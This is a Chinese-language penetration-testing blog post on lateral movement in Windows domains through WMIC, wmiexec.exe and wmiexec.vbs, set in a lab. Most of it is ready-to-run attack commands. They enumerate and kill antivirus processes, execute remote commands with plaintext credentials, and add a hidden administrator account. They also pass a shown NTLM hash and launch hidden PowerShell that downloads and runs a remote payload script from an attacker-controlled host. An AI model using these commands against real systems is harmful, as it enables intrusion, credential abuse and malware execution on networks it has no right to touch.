内网渗透-横向移动-WMIC远程执行命令横向移动

原创 于 2026-06-12 11:41:34 发布 · 591 阅读 · 6 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
收录于
内网渗透

当前文章被收录于：

内网渗透
18 篇文章 0 人学习
订阅专栏 查看详情

什么是WMI

WMI是Windows在Powershell还未发布前，微软用来管理Windows系统的重要数据库工具，WMI本身的组织架构是一个数据库架构，WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后，越来越多的反病毒厂商将 PsExec 加入了黑名单，于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现，在使用 wmiexec 进行横向移动时，windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。

WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具） ，提供了从命令行接口和批处理脚本执行系统管理的支持。

简单来说：wmic就是wmic.exe，位于windows目录底下，是一个命令行程序。WMIC可以以两种模式执行：交互模式(Interactive mode)和非交互模式(Non-Interactive mode)，WMI就是 WindowsManagement Instrumentation（Windows 管理规范）。它是 Windows 中的一个核心管理技术。

WMIC常见命令

wmic命令需要本地管理员或域管理员才可以进行正常使用，普通权限用户若想要使用wmi，可以修改普通用户的ACL，不过修改用户的ACL也需要管理员权限，普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。

wmic logon list brief 登录⽤户

wmic ntdomain list brief 域控机器

wmic useraccount list brief ⽤户列表

wmic share get name,path 查看系统共享

wmic service list brief |more 服务列表

wmic startup list full 识别开机启动的程序，包括路径

wmic fsdir "c:\\test" call delete 删除C盘下的test目录

wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志

wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址

wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况

wmic product get name,version 查看系统中安装的软件以及版本，2008R2上执行后无反应。

wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名

wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名

wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE，可以按照实际情况进行筛选

wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护，延迟是多少

wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路径

wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量

查询当前主机的杀毒软件

wmic process where "name like '%forti%'" get name

wmic process where name="FortiTray.exe" call terminate

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe

wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

查询windows机器版本和服务位数和.net版本

wmic os get caption

wmic os get osarchitecture

wmic OS get Caption,CSDVersion,OSArchitecture,Version

wmic product where "Name like 'Microsoft .Net%'" get Name, Version

查询本机所有盘符

wmic logicaldisk list brief

wmic logicaldisk get description,name,size,freespace /value

卸载和重新安装程序

wmic product where "name like '%Office%'" get name

wmic product where name="Office" call uninstall

查看某个进程的详细信息 （路径，命令⾏参数等）

wmic process where name="chrome.exe" list full

wmic process where name="frp.exe" get executablepath,name,ProcessId   进程路径

wmic process where caption="frp.exe" get caption,commandline /value

更改PATH环境变量值，新增c:\whoami

wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami

查看某个进程的详细信息-PID

wmic process list brief

tasklist /SVC | findstr frp.exe

wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate

终⽌⼀个进程

wmic process where name ="xshell.exe" call terminate

ntsd -c q -p 进程的PID

taskkill -im pid

获取电脑产品编号和型号信息

wmic baseboard get Product,SerialNumber

wmic bios get serialnumber

安装软件

wmic product get name,version

wmic product list brief

使用环境介绍

192.168.113.152 域控 administrator

192.168.113.205 域内用户 jack

192.168.113.208 域内用户 krbuser

常见错误

1.开启防火墙时，允许共享例外

错误:

代码 = 0x800706ba

说明 = RPC 服务器不可用。

设备 = Win32

2.组策略阻止administraotr远程访问时

错误:

代码 = 0x80070005

说明 = 拒绝访问。

设备 = Win32

3.IP安全策略阻止135时

错误:

代码 = 0x800706ba

说明 = RPC 服务器不可用。

设备 = Win32

4.禁用winmgmt服务时

错误:

代码 = 0x80070422

说明 = 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动。

设备 = Win32

5.拒绝wbem目录权限，无法使用wmic的

wmic调用cmd（重点）

以下命令需要管理员权限

执行命令并且输出

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"

wmic /node:192.168.113.152 /user:test\administrator /password:qax@123 process call create "cmd.exe /c ipconfig >c:\ip.txt"

列出远程主机进程

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief

在远程系统上执行bat脚本

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

执行powershell上线（重点）

wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

---à ps脚本我放在了小皮的根目录下面

wmic /NODE:192.168.113.152 /user:test\administrator /password:qax@123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

 

 

成功让其上线

Wmiexec工具

wmiexec是一个即有全交互也有半交互的远程命令执行工具，有python版本的pe版本可运用于多种环境，包括webshell环境、rdp环境、socks环境等

下载地址：

https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

通过cs上传到jack目录下

wmiexec.exe 域名/用户名:密码@目标IP   #哈希传递获得shell

wmiexec.exe 域名/用户名:密码@目标IP   "ipconfig"   #执行命令

wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP   #哈希传递获得shell

wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   #执行命令

wmiexec.exe test/administrator:qax@123@192.168.113.152 "whoami"

利用powershell上线

1、使用账号密码登录进行powershell上线

使用刚刚放在小皮上面的payload

wmiexec.exe test/administrator:qax@123@192.168.113.152 "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

上线第二个域控shell

2、使用hash上线

我这里就直接快速获得了：

aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49

wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP " 命令"      #哈希传递命令

--->

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49 test/administrator@192.168.113.152 "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

上线第三个域控shell

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显，获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式，一种是半交互式shell模式，另一种是执行单条命令模式

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

先上传

使用powershell上线

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

----》

shell cscript.exe //nologo wmiexec.vbs /cmd 192.168.113.152 test\administrator qax@123 "powershell.exe -nop -w hidden -ExecutionPolicy Bypass -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))"""

#用转义双引号包裹内层命令

上线第四个域控shell

标签
#内网渗透 #内网 #安全 #网络安全 #web安全
内网渗透(四十二)之横向移动篇-WMIC远程执行命令横向移动
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-20 670
WMI是Windows在Powershell还未发布前，微软用来管理Windows系统的重要数据库工具，WMI本身的组织架构是一个数据库架构，WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后，越来越多的反病毒厂商将 PsExec 加入了黑名单，于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现，在使用 wmiexec 进行横向移动时，windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多APT开始使用WMI进行攻击。
[横向移动] WMIC 远程命令执行横向移动
Blue17 の 小窝
03-20 1358
0x01：WMIC 工具介绍🌟0x01：WMIC 工具介绍WMI 是 Windows 在 PowerShell 还未发布前，微软用来管理 Windows 系统的重要数据库工具，WMI 本身的组织架构是一个数据库架构，WMI 使用 DCOM 或 WinRM 协议，自从 PsExec 在内网中被严格监控后，越来越多的反病毒厂商将 PsExec 加入了黑名单，于是黑客们渐渐开始使用 WMI 进行横向移动。
WMI横向移动
网络安全。
02-02 3604
0x01 WMI横向移动简介 简介 WMI全称“windows管理规范”，从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中，我们可以使用WMI进行横向移动。 利用条件 1、WMI服务开启，端口135，默认开启。 2、防火墙允许135、445等端口通信。 0x02 windows自带wmic工具横向移动（推荐） 实际测试（wmic） 08 -&g...
内网渗透(四十三)之横向移动篇-SMB远程执行命令横向移动
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-20 882
SMB 全称是 Server Message Block 翻译过来是服务器信息块，它也是一种客户端到服务器的通信协议。除此之外，SMB 协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。利用条件：开启了445端口。
WMIC命令的利用技巧
weixin_30790841的博客
08-13 836
WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或...
内网横向——利用WMI进行内网横向
qq_55202378的博客
07-28 2272
WMI（Windows Management Instrumentation，Windows管理规范）是一项核心的windows管理技术。从Windows 98开始，windows操作系统都支持WMI。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议，即分布式组件对象模型（）和windows远程管理（，WinRM），使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等都可以远程执行。
windows 远程执行 cmd 命令的 9 种方法
墨鱼菜鸡
07-11 7627
一、远程执行命令方式及对应端口:  IPC$+AT 445  PSEXEC 445  WMI 135  Winrm 5985(HTTP)&5986(HTTPS) 二、9种远程执行cmd命令的方法： 1.WMI执行命令方式,无回显： wmic /node:192.168.1.158 /user:pt007 /password:adm...
内网安全：WMI协议与SMB协议横向移动
qq_61553520的博客
08-24 3184
此外，SMB协议还经过不断的发展和改进，最新的版本是SMB3，它引入了更高的性能和安全性特性。它是在局域网（LAN）中广泛使用的一种协议，最初由IBM开发，后来由微软引入并逐渐发展为现代的SMB协议。WMI协议的主要目标是提供一种统一的接口，使系统管理员和开发人员能够通过编程方式获取和控制Windows操作系统的各种管理信息。通过WMI协议，可以访问和操作计算机的硬件、操作系统、网络、进程、服务等各个方面的信息。SMB协议的作用是允许计算机之间共享文件和资源，并提供对这些共享资源的访问和管理。
内网渗透之横向移动&持久化远程控制篇——利用ipc、sc、schtasks、AT，远程连接的winrm,wmic的使用和定时任务的创建
fatesaber_的博客
12-12 1694
摘要：横向移动是攻击者在攻陷内网主机后，利用该主机作为跳板进一步渗透内网其他主机的过程。主要方法包括：1）通过IPC$共享建立连接，利用AT或schtasks命令执行远程任务；2）使用SC命令创建并启动服务；3）通过WMIC远程管理接口执行命令；4）利用WinRM服务进行远程管理。这些方法需要目标主机开放特定端口（如445、135、5985等），并获取管理员凭证。攻击流程通常包括信息收集、凭证窃取、内网扫描和权限提升等阶段，最终实现对内网的全面控制。
简单的内网横向移动
m0_74326506的博客
07-23 2138
在内网中，通过网站漏洞打进一台机器，进行存货扫描，扫到不同网段的机器，然后经过代理打进不同网段的机器，这种叫纵向移动，如果扫到同网段的机器，而且这台机器除了正常端口开放外，没有安装其他任何服务，这可以经过横向移动，打进这台同网段的机器。sc命令可以用来注册删除查询系统服务，如果创建一个服务与木马绑定，则可以实现上线，但是一会就掉线，因为要和服务管理器进行通信，若是异常，明显这个创建的服务并不是正常的服务，所以服务管理器则会终止服务。创建成功，成功上线，删掉计划任务后，msf依旧不会掉线。
内网渗透(四十四)之横向移动篇-DCOM远程执行命令横向移动
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-21 464
DCOM（分布式组件对象模型）是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信，不论它们是运行在局域网、广域网、还是Internet上。利用这个接口，客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求，使用DCOM进行横向移动的优势之一在于，在远程主机上执行的进程将会是托管COM服务器端的软件。
内网渗透-内网横向移动的九种方式
lza20001103的博客
08-26 2452
内网横向移动的九种方式 文章目录内网横向移动的九种方式实验环境1.IPC横向1.1 利用条件1.2 命令2.WMI横向2.1利用条件2.2wmic2.3 cscript2.4 wmiexec3.smb横向3.1 利用条件3.2 psexec（微软官方工具）3.3 psexec（impacket工具）3.4 smbexec4.密码喷洒4.1利用metasploit进行密码喷洒5.PTH-哈希传递5.1 利用条件5.2 MiMiKatz-PTH6.PTK-mimiKatZ761 利用条件7.PtT-票据传递（m
【内网安全-横向移动】WMI-WMIC命令&相关内网工具
02-08 9767
【横向移动-WMI-WMIC命令】wmic、impacket-wmiexec、wmicmd.exe、WMIHACKER
内网横向移动常用方法总结
da_chuan_chuan的博客
04-27 5149
文章目录前言一、通过at&schtasks进行明文传递二、、atexec进行明文与HASH传递三、SMB 服务利用1、psexec工具传递2、smbexec工具传递四、WMI 服务利用1、wmic传递2、cscript传递3、wmiexec传递五、PTH横向传递攻击六、PTK横向传递攻击二、使用步骤1.引入库2.读入数据总结 前言 当我们拿下webshell后，若其服务器有内网环境，在进一步测试中就需要进行内网渗透测试，对于内网渗透测试的方法常用的为：基于口令的横向移动和基于漏洞的攻击。本文主要从基
内网渗透(四十五)之横向移动篇-WinRM远程执行命令横向移动
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-21 562
WinRM（Windows远程管理）是Microsoft 在Windows中对WS-Management的实现，它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具，WinRM可以与可能具有基板管理控制器（BMC）的任何远程计算机一起使用，以获取数据。也可以获取基于Windows的计算机（包括WinRM）。WinRM默认端口5985（HTTP端口）或5986（HTTPS端口），若配置了WINRM远程服务，当我们拿到一个管理员账户时，可以使用远程连接进行命令执行操作。
【kali渗透测试】内网横向渗透横向移动基础
最新发布
liuwanqing233333的博客
01-29 595
【kali渗透测试】内网横向渗透横向移动基础
红队内网攻防渗透：内网渗透之内网对抗：横向移动篇&入口切换&SMB共享&WMI管道&DCOM组件&Impacket套件&CS插件
HACKONE的博客
06-22 833
因此在内网渗透中，我们可以使用WMI进行横向移动，支持用户名明文或者hash的方式进行认证，并且该方法不会在目标日志系统留下痕迹。SMB服务通常由文件服务器提供，它允许客户端计算机通过网络访问服务器上的共享资源。通过SMB用户可以在网络上访问和共享文件夹、文件以及打印机，从而实现在不同计算机之间方便地共享数据和打印输出。它支持不同的两台机器上的组件间的通信，不论它们是运行在局域网、广域网、还是Internet上。这里ping 3.32 是能ping通的 所以防火墙入站规则是关闭的，可以执行正向shell。
域内横向渗透学习
qq_45674677的博客
12-04 4752
域内横向移动总结 在内网渗透中，最重要的一部分就是横向移动，攻击者利用该技术可以也凭借拿到shell的主机当作跳板，访问域内的其他主机，从而扩大攻击面，进一步往域控进攻，最后控制整个内网权限。 0x001横向移动常见工具使用： SMB横向-psexec&smbexec SMB渗透至Hash传递攻击原理：**SMB可以直接基于TCP协议或者NetBIOS over TCP，SMB的认证可以基于SMB，也可以基于kerberos，这两种认证方式，前者本质上使用了hash，后者本质上使用了ticket，
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值